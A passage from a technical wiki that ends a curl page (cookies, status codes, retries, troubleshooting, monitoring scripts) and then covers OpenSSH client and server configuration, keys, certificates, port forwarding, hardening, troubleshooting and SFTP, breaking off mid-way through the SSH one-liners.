http://localhost:8080/health # Try HTTP/3 and fall back, or insist on it curl --http3 -sI https://example.com curl --http3-only -so /dev/null -w '%{http_version}\n' https://example.com ``` Load balancers usually terminate HTTP/2 at the edge and speak HTTP/1.1 to backends, so a `421` or a header-size error may come from the edge rather than the application. HTTP/3 needs UDP 443 open on every firewall in the path; when `--http3-only` fails but `--http3` works, the fallback masked a blocked UDP path. ## Cookies curl has no cookie engine until you turn it on with `-b` or `-c`. `-b` reads cookies (a file, or a literal `name=value` string), `-c` writes every cookie the server sets to a jar in Netscape format. Using the same file for both keeps a session across calls. ```sh # Log in, keep the session cookie, use it curl -sS -c jar.txt -d "username=alice&password=$PASSWORD" https://app.example.com/login -o /dev/null curl -sS -b jar.txt https://app.example.com/dashboard # Send a literal cookie without a file curl -b 'session=abc123; theme=dark' https://app.example.com/ # What the server set, including attributes curl -sSI https://app.example.com/login | grep -i '^set-cookie' ``` A `Secure` cookie is never sent over `http://`; `Domain=example.com` sends it to every subdomain, no `Domain` restricts it to the host that set it. `SameSite=Lax` (the browser default) withholds the cookie on cross-site POSTs, a common cause of "logged out after the identity provider redirect"; curl ignores it. `-b` with an empty file still enables the engine, so cookies set during a redirect chain reach later hops. ## Status codes in practice | Code | What it usually means | | --- | --- | | `301` / `308` | Permanent redirect; `308` must keep the method and body | | `302` / `307` | Temporary redirect; `307` must keep the method and body | | `304` | Not Modified: the client's cached copy is current | | `400` | Malformed request: check `Content-Type` and body encoding | | `401` | Missing or invalid credentials; the `WWW-Authenticate` header says which scheme | | `403` | Authenticated but not allowed, or blocked by a WAF or IP allowlist | | `404` | Wrong path, or the route exists only on another virtual host | | `405` | Right path, wrong method; `Allow` lists the valid ones | | `408` | Server timed out waiting for the request | | `409` | Conflict: optimistic concurrency failure, duplicate create | | `413` / `414` | Content Too Large / URI Too Long for the server or a proxy in front | | `421` | Misdirected Request: a reused HTTP/2 connection reached a server that does not serve this host | | `429` | Rate limited; honour `Retry-After` | | `499` | Not standard; nginx logs it when the client closed the connection first | | `500` | Unhandled application error; the application logs have the detail | | `502` | A proxy could not connect to the backend or got an invalid response | | `503` | No healthy backend, maintenance, or load shedding; may carry `Retry-After` | | `504` | A proxy connected, but the backend did not answer within the proxy's timeout | A 502 and a 504 from the same proxy point at different problems. 502 is connection-level (refused, reset, bad response); 504 is a timeout, and the timeout that fired is set in the proxy's configuration, not the application's. See [RFC 9110](https://www.rfc-editor.org/rfc/rfc9110#name-status-codes) for definitions. ## Using curl in scripts ```sh if ! body=$(curl -fsS --max-time 10 --retry 3 --retry-connrefused https://api.example.com/health); then printf 'health check failed\n' >&2 exit 1 fi ``` ```sh tmp=$(mktemp -d); trap 'rm -rf "$tmp"' EXIT code=$(curl -sS -o "$tmp/body" -D "$tmp/headers" -w '%{http_code}' --max-time 30 \ --json @payload.json https://api.example.com/items) case $code in 2*) ;; 429) sleep "$(awk 'tolower($1) == "retry-after:" {print $2}' "$tmp/headers" | tr -d '\r')" ;; *) printf 'unexpected %s: %s\n' "$code" "$(cat "$tmp/body")" >&2; exit 1 ;; esac ``` Always set `--max-time`. Without it a server that accepts the connection and never answers hangs the job indefinitely. `--retry` retries only transient errors: timeouts and HTTP 408, 429, 500, 502, 503, 504, 522 and 524. Add `--retry-connrefused` for refused connections, or `--retry-all-errors` to retry anything. See [Bash](https://www.wiki.jodisand.me/bash/) for error handling around these calls. Retries back off from one second and double unless `--retry-delay` fixes the interval; `--retry-max-time 60` caps the whole sequence. `-w '%{json}'` prints every write-out variable as one JSON object for logging; `%{exitcode}`, `%{errormsg}` and `%{num_retries}` record what went wrong and how many retries it took. ```sh curl -sS -o /dev/null -w '%{json}\n' --retry 3 --max-time 10 https://api.example.com/health \ | jq '{code: .http_code, total: .time_total, retries: .num_retries, ip: .remote_ip, err: .errormsg}' ``` ## Troubleshooting | Symptom | Likely cause | Check | | --- | --- | --- | | `curl -I` returns 405 or different headers from GET | Server handles HEAD differently | `curl -sS -D - -o /dev/null URL` sends a GET | | JSON API returns 400 or 415 | `-d` sent form encoding | Use `--json` or set `Content-Type` | | Signature or checksum mismatch on upload | `-d @file` stripped newlines | Use `--data-binary @file` | | 401 after a redirect | `Authorization` dropped on a cross-origin redirect | `curl -v` shows the second request; use the final URL directly | | Works in a browser, fails in curl | Missing intermediate certificate, cookies, or a WAF blocking the User-Agent | `curl -v` TLS lines; compare headers from browser dev tools | | Works with IP, fails with hostname (or the reverse) | Virtual host or SNI routing | `--resolve` keeps name and SNI while choosing the IP | | Intermittent 502 behind a load balancer | Backend closes idle keep-alive connections before the balancer does | Backend idle timeout must exceed the balancer's | | Unexpected proxy use or bypass | `http_proxy`, `https_proxy`, `no_proxy` in the environment | `env \| grep -i _proxy`; `curl -v` for `CONNECT` | | Hangs with no output | No `--max-time`; firewall dropping packets | `--connect-timeout 3 -v` to see which phase stalls | | Compressed garbage in output | Server sent compressed body without being asked, or `--compressed` omitted | `curl -sI` for `Content-Encoding`; add `--compressed` | | Browser console shows `blocked by CORS policy`, curl works | Missing `Access-Control-Allow-Origin`, or the preflight `OPTIONS` is rejected | Replay the `OPTIONS` request with `Origin` and `Access-Control-Request-Method` headers | | Stale content after a deploy | Long `max-age` at a CDN or in the browser, or `Vary` missing | `curl -sSI` for `Cache-Control`, `Age`, `X-Cache`; purge or version the asset name | | Login works, next request is unauthenticated | Cookie engine off, or cookie marked `Secure` sent over `http://` | Use `-c jar.txt -b jar.txt` on both calls; check `Set-Cookie` attributes | | 401 with `WWW-Authenticate: Digest` | Basic sent to a Digest-only server | `--digest -u`, or `--anyauth` | | `--http3` works, `--http3-only` fails | UDP 443 blocked somewhere in the path | Test with `--http3-only`; open UDP 443 or accept the fallback | | `--retry` did not retry | Error is not on curl's transient list (for example 404, 401 or connection refused) | Add `--retry-connrefused` or `--retry-all-errors`; check `%{num_retries}` | ## Oneliners ```sh # Response headers of a GET, sorted curl -sS -D - -o /dev/null https://example.com | sort # Poll until a service is healthy until curl -fsS --max-time 2 http://localhost:8080/health >/dev/null; do sleep 1; done # 50 requests, 10 at a time, count the status codes seq 50 | xargs -P10 -I{} curl -o /dev/null -sw '%{http_code}\n' https://api.example.com/ | sort | uniq -c # Compare JSON config between two environments (needs jq) diff <(curl -s https://staging.example.com/api/config | jq -S .) <(curl -s https://prod.example.com/api/config | jq -S .) # Resume a partial download curl -C - -O https://example.com/big.iso # Send an HMAC-signed webhook; the secret comes from the environment body='{"event":"test"}'; sig=$(printf '%s' "$body" | openssl dgst -sha256 -hmac "$WEBHOOK_SECRET" -hex | awk '{print $NF}'); curl -X POST -H "X-Signature: sha256=$sig" -H 'Content-Type: application/json' --data-binary "$body" https://api.example.com/hook # Negotiated HTTP version and scheme curl -so /dev/null -w '%{http_version} %{scheme}\n' https://example.com # Plain HTTP virtual host test against an IP curl -H 'Host: api.example.com' http://192.0.2.10/health # Slowest of several endpoints for u in "${urls[@]}"; do printf '%s %s\n' "$(curl -o /dev/null -sw '%{time_total}' "$u")" "$u"; done | sort -rn | head # Every write-out variable as JSON, for a log line curl -sS -o /dev/null -w '%{json}\n' https://api.example.com/health # Response headers as JSON (7.83.0 and later) curl -sS -o /dev/null -w '%{header_json}\n' https://example.com | jq '.["cache-control"]' # Which IP and port curl actually talked to (after DNS and redirects) curl -so /dev/null -w '%{remote_ip}:%{remote_port} %{http_code}\n' -L https://example.com # Talk to a service on a Unix socket (Docker, Podman, systemd-style daemons) curl -sS --unix-socket /var/run/docker.sock http://localhost/version # HEAD every URL in a file, 10 at a time, print code and URL xargs -a urls.txt -P10 -I{} curl -so /dev/null -w '%{http_code} {}\n' -I {} # Bearer token from the environment without putting it on the command line (8.3.0 and later) curl --variable %API_TOKEN --expand-header 'Authorization: Bearer {{API_TOKEN}}' https://api.example.com/me ``` ## Scripts Sample an endpoint N times and print percentile latency per phase, so a slow DNS resolver or TLS terminator is separated from a slow application. ```sh #!/usr/bin/env bash # usage: http-latency.sh URL [samples] set -euo pipefail url=${1:?url required}; n=${2:-20} tmp=$(mktemp); trap 'rm -f "$tmp"' EXIT for _ in $(seq "$n"); do curl -sS -o /dev/null --max-time 15 \ -w '%{time_namelookup} %{time_connect} %{time_appconnect} %{time_starttransfer} %{time_total} %{http_code}\n' \ "$url" >>"$tmp" || true done printf '%-8s %8s %8s %8s\n' phase p50 p90 max for col in 1:dns 2:tcp 3:tls 4:ttfb 5:total; do i=${col%%:*}; name=${col#*:} sort -k"$i" -n "$tmp" | awk -v i="$i" -v name="$name" \ '{v[NR]=$i} END {printf "%-8s %8.3f %8.3f %8.3f\n", name, v[int(NR*0.5)+1], v[int(NR*0.9)+1], v[NR]}' done printf 'codes: '; awk '{print $6}' "$tmp" | sort | uniq -c | tr '\n' ' '; echo ``` Check a list of URLs and report any whose status, latency or certificate expiry crosses a threshold, for a cron job that emails or pages. ```sh #!/usr/bin/env bash # usage: http-check.sh urls.txt (one URL per line, # comments allowed) set -euo pipefail list=${1:?url list required}; max_ms=${MAX_MS:-2000}; min_days=${MIN_CERT_DAYS:-14} rc=0 while IFS= read -r url; do [[ -z $url || $url == \#* ]] && continue out=$(curl -sS -o /dev/null --max-time 10 -w '%{http_code} %{time_total} %{exitcode} %{errormsg}' "$url" || true) read -r code total exit_code msg <<<"$out" ms=$(awk -v t="$total" 'BEGIN {printf "%d", t * 1000}') if [[ $exit_code != 0 ]]; then printf 'FAIL %s curl(%s): %s\n' "$url" "$exit_code" "$msg"; rc=1; continue; fi [[ $code == 2* || $code == 3* ]] || { printf 'FAIL %s status %s\n' "$url" "$code"; rc=1; } (( ms <= max_ms )) || { printf 'SLOW %s %sms\n' "$url" "$ms"; rc=1; } if [[ $url == https://* ]]; then host=${url#https://}; host=${host%%/*}; host=${host%%:*} exp=$(echo | openssl s_client -servername "$host" -connect "$host:443" 2>/dev/null | openssl x509 -noout -enddate | cut -d= -f2) days=$(( ($(date -d "$exp" +%s) - $(date +%s)) / 86400 )) (( days >= min_days )) || { printf 'CERT %s expires in %d days\n' "$url" "$days"; rc=1; } fi done <"$list" exit "$rc" ``` ## Further reading - [curl man page](https://curl.se/docs/manpage.html) and [Everything curl](https://everything.curl.dev/) - [RFC 9110, HTTP semantics](https://www.rfc-editor.org/rfc/rfc9110) - [RFC 9111, HTTP caching](https://www.rfc-editor.org/rfc/rfc9111) - [RFC 6265, HTTP cookies](https://www.rfc-editor.org/rfc/rfc6265) - [Fetch standard, CORS protocol](https://fetch.spec.whatwg.org/#http-cors-protocol) --- # SSH > Configure OpenSSH clients and servers, manage keys and agents, forward ports through bastions and read the debug output that names the real failure. Canonical: https://www.wiki.jodisand.me/ssh/ Reviewed: 2026-09-24 Related: [SCP](https://www.wiki.jodisand.me/scp/index.md), [Git](https://www.wiki.jodisand.me/git/index.md), [TLS and certificates](https://www.wiki.jodisand.me/tls/index.md), [systemd](https://www.wiki.jodisand.me/systemd/index.md) ## Cheatsheet | Task | Command | | --- | --- | | Connect as another user | `ssh alice@host.example.com` | | Why did it fail | `ssh -vvv host.example.com` | | Which key was offered and accepted | `ssh -v host 2>&1 \| grep -E 'Offering\|Server accepts\|Authenticated'` | | Run one command | `ssh host 'uptime'` | | Copy a public key to a host | `ssh-copy-id -i ~/.ssh/id_ed25519.pub host` | | New key | `ssh-keygen -t ed25519 -C 'alice@laptop'` | | Load a key into the agent | `ssh-add ~/.ssh/id_ed25519` | | Keys the agent holds | `ssh-add -l` | | Through a bastion | `ssh -J bastion.example.com host` | | Local forward | `ssh -L 5432:db.internal.example:5432 bastion` | | Remote forward | `ssh -R 8080:localhost:3000 host` | | SOCKS proxy | `ssh -D 1080 bastion` | | Host key fingerprint | `ssh-keyscan host \| ssh-keygen -lf -` | | Drop a stale host key | `ssh-keygen -R host` | | Effective client config for a host | `ssh -G host` | | Effective server config | `sudo sshd -T` | | Reuse a connection | `ControlMaster auto` plus `ControlPath`, `ControlPersist` in config | ## How an SSH connection is set up Knowing the phases tells you which one failed when `ssh -v` stops. 1. **TCP connect** to port 22. A timeout here is routing or a firewall, not SSH. See [iproute2](https://www.wiki.jodisand.me/iproute2/#a-connectivity-problem). 2. **Version exchange and key exchange.** Client and server agree on algorithms and derive session keys. OpenSSH 10.0 made the hybrid post-quantum `mlkem768x25519-sha256` the default key exchange, and 10.1 prints a warning when a connection falls back to a non-post-quantum one. 3. **Host key verification.** The server proves it holds the private host key; the client compares the public key with `~/.ssh/known_hosts`. A mismatch stops the connection here. 4. **User authentication.** The client tries methods in order (public key, then keyboard-interactive or password if allowed). With public keys the client offers each key and the server says which it will accept, so the agent contents and `IdentitiesOnly` matter. 5. **Channels.** The shell, commands, forwarded ports and the agent all run as multiplexed channels over the one encrypted connection. ## Client configuration `~/.ssh/config` is read top to bottom and the **first** value obtained for each option wins, so put specific hosts above wildcards and `Host *` last. `/etc/ssh/ssh_config` and its `ssh_config.d/*.conf` drop-ins are read after the user file. ```text Host bastion HostName bastion.example.com User alice IdentityFile ~/.ssh/id_ed25519 IdentitiesOnly yes Host db-* ProxyJump bastion User postgres ForwardAgent no Host * AddKeysToAgent yes ServerAliveInterval 30 ServerAliveCountMax 3 ControlMaster auto ControlPath ~/.ssh/cm-%C ControlPersist 10m HashKnownHosts yes StrictHostKeyChecking accept-new ``` | Option | Why | | --- | --- | | `IdentitiesOnly yes` | Offer only the listed key. Without it the agent offers every key it holds and the server can hit `MaxAuthTries` before reaching the right one | | `ControlMaster`/`ControlPersist` | Later sessions reuse one authenticated connection, so repeat logins skip key exchange and authentication | | `ControlPath ~/.ssh/cm-%C` | `%C` is a hash of local host, remote host, port and user, so each target gets its own socket and the path stays short | | `ServerAliveInterval` | Sends an encrypted keepalive so NAT and firewall idle timers do not silently drop the session | | `ProxyJump` | Connect through a bastion. The bastion only forwards TCP, so neither your key nor your agent is exposed on it | | `ForwardAgent` | Anyone with root on the remote host can use your agent while you are connected. Prefer `ProxyJump` | | `StrictHostKeyChecking accept-new` | Record a first-time host key automatically but still refuse a changed one | ```sh ssh -G host # every option that will apply, after Host/Match evaluation ssh -o ProxyJump=none host # override config for one command ssh -F /dev/null host # ignore all config files, useful to rule config out ``` > [!NOTE] > Fedora and RHEL ship `/etc/ssh/ssh_config.d/50-redhat.conf`, which sets `GSSAPIAuthentication yes` and includes the system crypto policy. `ssh -G` shows the result of those files too. ## Match, Include and ProxyCommand `Host` matches only the name typed on the command line. `Match` evaluates conditions, so one block can apply by user, by canonicalised hostname, by network, or by the result of a command. `Include` splits a large config into files; the included lines are processed at the point of the `Include`, so first-match-wins still applies across files. ```text Include ~/.ssh/config.d/*.conf # per-project files; must sit above any Host * block that would win first Match host *.internal.example !exec "nc -zw1 192.0.2.1 22" # not on the office network: go via the bastion ProxyJump bastion Match localnetwork 192.0.2.0/24 # OpenSSH 9.4+: match when a local interface has an address in this range ProxyJump none Match user root IdentityFile ~/.ssh/id_root IdentitiesOnly yes Match tagged prod # selected with ssh -P prod host (OpenSSH 9.4+) RequestTTY yes RemoteCommand tmux new -A -s main Match canonical host db-* User postgres Match final all # runs once more after canonicalisation, useful for defaults ServerAliveInterval 30 ``` `exec` runs a shell command and matches on exit status; keep it fast because it runs on every connection. `canonical` and `final` re-evaluate the config after `CanonicalizeHostname` has expanded short names with `CanonicalDomains`, which is how `Host db-01` can pick up a domain and still hit the right block. `ProxyJump` is a wrapper around `ProxyCommand ssh -W %h:%p bastion`. Write `ProxyCommand` yourself when the hop is not SSH, for example a cloud console or a SOCKS proxy: ```text Host i-* # AWS instance IDs through SSM (plugin installed separately) ProxyCommand aws ssm start-session --target %h --document-name AWS-StartSSHSession --parameters portNumber=%p Host *.corp.example ProxyCommand nc -X 5 -x 127.0.0.1:1080 %h %p # through a SOCKS5 proxy ``` `%h` and `%p` are the target host and port after `Host` and `HostName` substitution; `%r` is the remote user. ## Keys and the agent Ed25519 is the `ssh-keygen` default since OpenSSH 9.5: short keys, fast, and no parameters to get wrong. Use RSA (3072 bits or more) only for systems that do not support Ed25519. DSA support was removed in OpenSSH 10.0. For hardware-backed keys use `-t ed25519-sk` with a FIDO2 token. ```sh ssh-keygen -t ed25519 -C 'alice@laptop' # prompts for a passphrase ssh-keygen -t ed25519 -f ~/.ssh/id_deploy -N '' # no passphrase: automation only ssh-copy-id -i ~/.ssh/id_ed25519.pub host # appends to remote authorized_keys ssh-keygen -lf ~/.ssh/id_ed25519.pub # SHA256 fingerprint ssh-keygen -y -f ~/.ssh/id_ed25519 > id_ed25519.pub # regenerate a lost public key ssh-keygen -p -f ~/.ssh/id_ed25519 # change the passphrase ``` The agent holds decrypted keys in memory so you type the passphrase once. Most desktops start one; otherwise start it yourself. ```sh eval "$(ssh-agent -s)" # start an agent and export SSH_AUTH_SOCK ssh-add ~/.ssh/id_ed25519 ssh-add -l # fingerprints of loaded keys ssh-add -t 3600 ~/.ssh/id_ed25519 # key expires from the agent after an hour ssh-add -D # remove every key from the agent ``` sshd refuses keys when permissions are loose (`StrictModes yes`, the default). Use `700` on `~/.ssh`, `600` on private keys and `authorized_keys`, and make sure the home directory is not group or world writable. A good key with bad permissions produces a plain `Permission denied (publickey)`; the server log gives the real reason. Restrict what a key may do with options at the start of its `authorized_keys` line: ```text restrict,pty,command="/usr/local/bin/backup" ssh-ed25519 AAAA...placeholder backup@ci from="198.51.100.0/24",restrict ssh-ed25519 AAAA...placeholder deploy@ci ``` `restrict` turns off forwarding, the agent, X11 and the PTY; add back only what is needed. `command=` forces that command whatever the client asked for. `from=` limits source addresses. ```sh ssh-keygen -t ed25519 -a 100 -f ~/.ssh/id_ed25519 # -a: KDF rounds protecting the passphrase (default 16) ssh-keygen -c -C 'alice@laptop-2026' -f ~/.ssh/id_ed25519 # change the comment ssh-add -L # public keys in the agent, in authorized_keys format ssh-add -d ~/.ssh/id_ed25519 # remove one key ssh-add -x # lock the agent with a password; -X unlocks ``` ## Certificates A certificate is a public key signed by a CA key with an identity, a list of principals and a validity window. The server trusts the CA instead of each key, so `authorized_keys` files disappear and revocation is a validity date rather than a fleet-wide edit. Host certificates work the same way in reverse and end `Host key verification failed` after rebuilds. ```sh ssh-keygen -t ed25519 -f ~/ca/user_ca -C 'user CA' # keep this offline or in a signing service # Sign a user key: identity (logged by sshd), principals (login names it may use), 12-hour validity ssh-keygen -s ~/ca/user_ca -I alice@laptop -n alice,deploy -V +12h ~/.ssh/id_ed25519.pub # writes ~/.ssh/id_ed25519-cert.pub; ssh sends it automatically next to the private key # Restrict what the certificate allows, regardless of sshd settings ssh-keygen -s ~/ca/user_ca -I ci-runner -n deploy -V +1h -O clear -O force-command=/usr/local/bin/deploy -O source-address=198.51.100.0/24 id_ci.pub # Host certificate: principals are the names clients will type ssh-keygen -s ~/ca/host_ca -I host-01 -h -n host-01.example.com,192.0.2.10 -V -1d:+52w /etc/ssh/ssh_host_ed25519_key.pub ssh-keygen -L -f ~/.ssh/id_ed25519-cert.pub # print identity, principals, validity, options ``` Server side, trust the user CA and present the host certificate: ```text TrustedUserCAKeys /etc/ssh/user_ca.pub HostCertificate /etc/ssh/ssh_host_ed25519_key-cert.pub AuthorizedPrincipalsFile /etc/ssh/principals/%u # optional: accept principals listed here, not only the login name RevokedKeys /etc/ssh/revoked_keys # KRL from ssh-keygen -k, checked on every login ``` Client side, trust the host CA in `known_hosts` so every host it signs is accepted without a prompt. The pattern limits which names the CA may vouch for: ```text @cert-authority *.example.com,192.0.2.* ssh-ed25519 AAAA...placeholder host CA @revoked host-old.example.com ssh-ed25519 AAAA...placeholder ``` Revoke before expiry with a key revocation list. sshd re-reads the file on each authentication, so the change is immediate: ```sh ssh-keygen -k -f /etc/ssh/revoked_keys -s ~/ca/user_ca.pub -z 1 compromised-cert.pub # -s CA: revoke by serial/ID; -z KRL version ssh-keygen -k -u -f /etc/ssh/revoked_keys another.pub # -u: add to the existing KRL ssh-keygen -Q -f /etc/ssh/revoked_keys ~/.ssh/id_ed25519-cert.pub # is this key or cert revoked ``` Principals are matched against the login name unless `AuthorizedPrincipalsFile` is set. A certificate whose principals do not include the user you asked for fails with the same `Permission denied (publickey)` as a missing key; `sshd -T` and the journal line `Certificate invalid: name is not a listed principal` tell them apart. ## Port forwarding ```sh ssh -L 5432:db.internal.example:5432 bastion # local 5432 -> db.internal.example:5432, via bastion ssh -R 8080:localhost:3000 host # host's port 8080 -> my local port 3000 ssh -D 1080 bastion # SOCKS5 proxy on local 1080 ssh -fN -o ExitOnForwardFailure=yes -L 5432:db.internal.example:5432 bastion # background, no shell ssh -J bastion db-01 # jump host, nothing stored or forwarded on bastion ``` `-L` listens locally and connects out from the remote side. `-R` listens on the remote side and connects back through you. Both bind to loopback by default: `-L` needs `-g` or an explicit bind address to accept other clients, and `-R` needs `GatewayPorts yes` in the server's `sshd_config`. `ExitOnForwardFailure=yes` makes `ssh` exit when the port is already in use instead of running without the tunnel. ```sh pkill -f 'ssh -fN.*-L 5432' # stop a backgrounded forward ssh -O check bastion # is a control master running for this host ssh -O exit bastion # close the master and every session using it ``` Forwards can be added to a live connection instead of reconnecting. With a control master running, `ssh -O forward` and `ssh -O cancel` change the master's forwards; inside an interactive session, the `~C` escape opens a command line that accepts the same `-L`/`-R`/`-D` syntax, and `~#` lists active forwards. ```sh ssh -O forward -L 8443:web.internal.example:443 bastion # add to the running master ssh -O cancel -L 8443:web.internal.example:443 bastion # remove it ssh -L /tmp/pg.sock:/var/run/postgresql/.s.PGSQL.5432 host # Unix socket on both ends; psql -h /tmp ssh -R 0:localhost:3000 host # port 0: server picks a free port and prints it ssh -W db.internal.example:5432 bastion # stdin/stdout to a TCP port; what ProxyJump uses underneath ``` The server bounds what a client may forward. `PermitOpen` lists the destinations `-L` and `-D` may reach, `PermitListen` the ports `-R` may bind, and `AllowTcpForwarding` (`yes`, `no`, `local`, `remote`) switches each direction off entirely. Set them per group in a `Match` block so a bastion forwards only to the internal networks it exists for: ```text Match Group bastion-users AllowTcpForwarding local PermitOpen db.internal.example:5432 web.internal.example:443 # host:port entries; * wildcards a host or port, no CIDR PermitListen none PermitTTY no ForceCommand /usr/bin/false ``` ## Server configuration sshd reads `/etc/ssh/sshd_config`. The first value obtained for each keyword wins, and most distributions put `Include /etc/ssh/sshd_config.d/*.conf` at the top, so a drop-in overrides the same keyword in the main file. Put your settings in a drop-in such as `/etc/ssh/sshd_config.d/10-hardening.conf` so package updates do not conflict with them. ```text PermitRootLogin no PasswordAuthentication no KbdInteractiveAuthentication no PubkeyAuthentication yes AuthenticationMethods publickey AllowGroups ssh-users MaxAuthTries 3 LoginGraceTime 20 X11Forwarding no AllowAgentForwarding no ClientAliveInterval 300 ClientAliveCountMax 2 ``` `PermitRootLogin` defaults to `prohibit-password`, which already blocks password logins as root. `AllowGroups` rejects everyone outside the group before authentication. Validate, then reload. A reload re-reads config for new connections; existing sessions keep running. ```sh sudo sshd -t # syntax and key check, silent on success sudo sshd -T | grep -i passwordauthentication # effective value after drop-ins sudo sshd -T -C user=alice,host=host.example.com,addr=198.51.100.7 # effective values for one connection, with Match applied sudo systemctl reload sshd # unit is "ssh" on Debian and Ubuntu ``` > [!WARNING] Do not lock yourself out > Keep the current session open, reload, and verify a fresh login from a second terminal before closing anything. On a cloud instance, confirm console access first. `Match` blocks apply only to connections that match, and must come after the global settings: ```text Match Group sftp-only ChrootDirectory /srv/sftp/%u ForceCommand internal-sftp AllowTcpForwarding no ``` The chroot directory and every parent must be owned by root and not writable by any other user, or sshd drops the session after authentication. Since OpenSSH 9.8, `PerSourcePenalties` makes sshd temporarily refuse addresses that repeatedly fail authentication or crash the pre-auth process. This replaces much of what fail2ban was used for, and can also block a legitimate client that retried a bad key many times. ## Troubleshooting ```sh ssh -vvv host 2>&1 | tail -40 # client view: kex, key offers, auth methods sudo journalctl -u sshd -f # server view: the actual rejection reason ssh -o IdentitiesOnly=yes -o PreferredAuthentications=publickey -i ~/.ssh/id_ed25519 host # test one key only ssh-keyscan -t ed25519 host | ssh-keygen -lf - # compare against the fingerprint you expect ``` | Message or symptom | Cause | Check | | --- | --- | --- | | `Connection timed out` | Routing or firewall; SSH never started | `nc -vz host 22` | | `Connection refused` | Nothing listening, or wrong port | `ss -tlnp \| grep sshd` on the server | | `Permission denied (publickey)` | Key not in `authorized_keys`, wrong user, or permissions too open | Server journal; `ssh -v` for which keys were offered | | `Too many authentication failures` | Agent offered several keys before the right one | Set `IdentitiesOnly yes` and `IdentityFile` for that host | | `Host key verification failed` | Host rebuilt, IP reused, or a man-in-the-middle | Verify the fingerprint out of band, then `ssh-keygen -R host` | | `Connection closed by remote host` before auth | `AllowUsers`/`AllowGroups`, `MaxStartups`, `PerSourcePenalties` or fail2ban | Server journal | | `no matching host key type found` / `no matching key exchange method` | One side only offers algorithms the other has disabled (old device, or crypto policy) | `ssh -Q kex`, `ssh -vv` for both offer lists | | Hangs after `expecting SSH2_MSG_KEX_ECDH_REPLY` | Path MTU problem: large key exchange packets dropped | Lower MTU on the path, or test `-o KexAlgorithms=curve25519-sha256` | | Stalls on some networks only | Middlebox mishandling the DSCP mark (interactive traffic uses EF since OpenSSH 10.1) | `-o IPQoS=none` | | Slow login, fast once connected | Client trying GSSAPI (on by default in Fedora/RHEL client config), or server `UseDNS yes` with slow reverse DNS | `ssh -vvv` timestamps; `-o GSSAPIAuthentication=no` | | `Certificate invalid: name is not a listed principal` in the journal | Certificate principals do not include the login name, or `AuthorizedPrincipalsFile` lists other names | `ssh-keygen -L -f id-cert.pub`, compare with the user in `ssh -v` | | `Certificate invalid: expired` | Validity window passed, or clock skew between signer and server | `ssh-keygen -L -f id-cert.pub`; `timedatectl` on both sides | | `bind: Address already in use` and the tunnel silently missing | Local or remote port taken; without `ExitOnForwardFailure` ssh continues anyway | `ss -tlnp \| grep :5432`; add `-o ExitOnForwardFailure=yes` | | `-R` forward reachable only from the server's loopback | `GatewayPorts` is `no`, or `PermitListen` excludes the port | `sudo sshd -T \| grep -Ei 'gatewayports\|permitlisten'` | | `channel N: open failed: administratively prohibited` | `AllowTcpForwarding no` or `PermitOpen` excludes the destination | `sudo sshd -T -C user=alice \| grep -Ei 'allowtcpforwarding\|permitopen'` | | `Bad owner or permissions on ~/.ssh/config` | Config file writable by group or others | `chmod 600 ~/.ssh/config` | | `ControlSocket ... already exists` or `mux_client_request_session` errors | Stale control socket from a dead master | `ssh -O exit host` or remove the socket in `ControlPath` | | `sign_and_send_pubkey: signing failed ... agent refused operation` | Key in the agent is locked, expired, or the FIDO token needs a touch | `ssh-add -l`; `ssh-add -X` if locked; watch the token | | Session drops after exactly N minutes idle | Server `ClientAliveInterval`/`ClientAliveCountMax` or a NAT timer | Set `ServerAliveInterval 30` client side; `sudo sshd -T \| grep clientalive` | | Chrooted SFTP user logs in then disconnects | `ChrootDirectory` or a parent not owned by root, or group/world writable | `namei -l /srv/sftp/alice`; server journal `bad ownership or modes for chroot directory` | ## File transfer over SSH ```sh scp file host:/tmp/ # one file; see the scp page for syntax rsync -avzP --delete ./dir/ host:/srv/dir/ # incremental and resumable; --delete removes extra files on the target sftp host # interactive, or scripted with -b batchfile ssh host 'tar czf - /var/log' > logs.tgz # stream without staging a file tar czf - ./dir | ssh host 'tar xzf - -C /srv' ``` `rsync` sends only differences and can resume, so use it for anything larger than a config file. See [scp](https://www.wiki.jodisand.me/scp/) for copy syntax and the SFTP protocol change. ## SFTP `sftp` is the interactive client for the SFTP subsystem that `scp` now uses underneath. It has local (`l`-prefixed) and remote commands, resumes transfers, and runs scripted through a batch file. ```sh sftp -P 2222 alice@host.example.com # -P: port (capital, unlike ssh) sftp sftp://alice@host.example.com:2222/srv/ # URI form, starting in /srv sftp -r host:/srv/logs ./logs # recursive download in one go; symlinks are not followed sftp -a host:/srv/big.iso . # resume a partial download sftp -l 20000 host:/srv/big.iso . # limit to 20000 Kbit/s ``` Interactive commands that matter: ```text sftp> ls -l # remote listing; lls is local sftp> cd /srv/app; lcd ~/out # remote and local working directories; pwd and lpwd show them sftp> get -p config.yaml # -p keeps mtime and mode; -a resumes; -R recursive sftp> put -R ./release/ /srv/app/ # upload a tree sftp> reget big.iso # same as get -a sftp> rename app.yaml app.yaml.bak # rename is atomic on the server sftp> rm /srv/app/old.log # deletes on the server sftp> df -h # free space on the remote filesystem sftp> !ls -l # run a local shell command sftp> bye ``` Batch mode reads commands from a file and aborts on the first failing command, which is what you want in automation. Prefix a command with `-` to ignore its failure. It requires non-interactive authentication (a key in the agent or an unencrypted key), because `-b` implies `BatchMode yes`. ```sh cat > upload.sftp <<'EOF' -mkdir /srv/app/releases put -p ./release.tgz /srv/app/releases/release-2026-09-24.tgz rename /srv/app/releases/release-2026-09-24.tgz /srv/app/releases/current.tgz EOF sftp -b upload.sftp -o ConnectTimeout=10 deploy@host.example.com sftp -b - host <<< 'ls -l /srv/app' # commands from stdin ``` Server side, `Subsystem sftp internal-sftp` runs SFTP inside sshd itself, which is required inside a `ChrootDirectory` because there is no `/usr/libexec/openssh/sftp-server` visible from the chroot. Add `-l INFO` (`Subsystem sftp internal-sftp -l INFO`) to log every file operation to the journal. ## Oneliners ```sh # Run a command on many hosts, 8 at a time printf '%s\n' host{1..20}.example.com | xargs -P8 -I{} ssh -o ConnectTimeout=5 -o BatchMode=yes {} 'uptime' # Copy a public key without ssh-copy-id ssh host 'umask 077; mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys' < ~/.ssh/id_ed25519.pub # Persistent tunnel that reconnects (autossh is a separate package) autossh -M 0 -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes -N -L 5432:db.internal.example:5432 bastion # Reachability test from inside the network, through a bastion ssh -J bastion host 'nc -zv db.internal.example 5432' # Fingerprints of every key in authorized_keys ssh-keygen -lf ~/.ssh/authorized_keys # Show, then remove, a host's known_hosts entry after a rebuild 